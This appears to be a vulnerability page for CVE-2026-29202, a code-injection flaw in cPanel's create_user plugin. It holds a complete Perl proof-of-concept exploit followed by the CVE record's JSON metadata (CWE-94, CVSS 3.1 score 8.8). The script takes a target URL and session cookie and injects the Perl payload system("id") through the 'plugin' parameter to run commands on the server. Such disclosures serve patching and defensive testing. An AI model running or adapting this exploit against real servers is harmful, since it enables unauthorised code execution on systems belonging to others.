CVE-2026-29202

#!/usr/bin/perl # PoC for CVE-2026-29202 # Description: Exploits insufficient input validation in the 'plugin' parameter # Usage: perl exploit.pl <target_url> <session_cookie> use LWP::UserAgent; use strict; my $target = $ARGV[0] || die "Target required\n"; my $cookie = $ARGV[1] || die "Session cookie required\n"; my $ua = LWP::UserAgent->new(); $ua->cookie_jar({}); $ua->default_header('Cookie' => $cookie); # Vulnerable endpoint my $url = "$target/frontend/paper_lantern/create_user/index.live.php"; # Malicious Perl payload to execute 'id' command my $payload = 'system("id")'; my $response = $ua->post( $url, Content_Type => 'application/x-www-form-urlencoded', Content => [ 'plugin' => $payload, 'create' => 1 ] ); if ($response->is_success) { print "[+] Request sent. Check output for command execution results.\n"; print $response->content; } else { print "[-] Exploit failed: " . $response->status_line . "\n"; }

{"cve": {"id": "CVE-2026-29202", "sourceIdentifier": "[email protected]", "published": "2026-05-08T19:16:30.047", "lastModified": "2026-05-11T18:16:31.187", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient input validation of the `plugin` parameter of the `create_user` plugin allows arbitrary Perl code execution on behalf of the already authenticated account's system user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://support.cpanel.net/hc/en-us/articles/40311426610327-Security-CVE-2026-29202-cPanel-WHM-WP2-Security-Update-May-08-2026", "source": "[email protected]"}]}}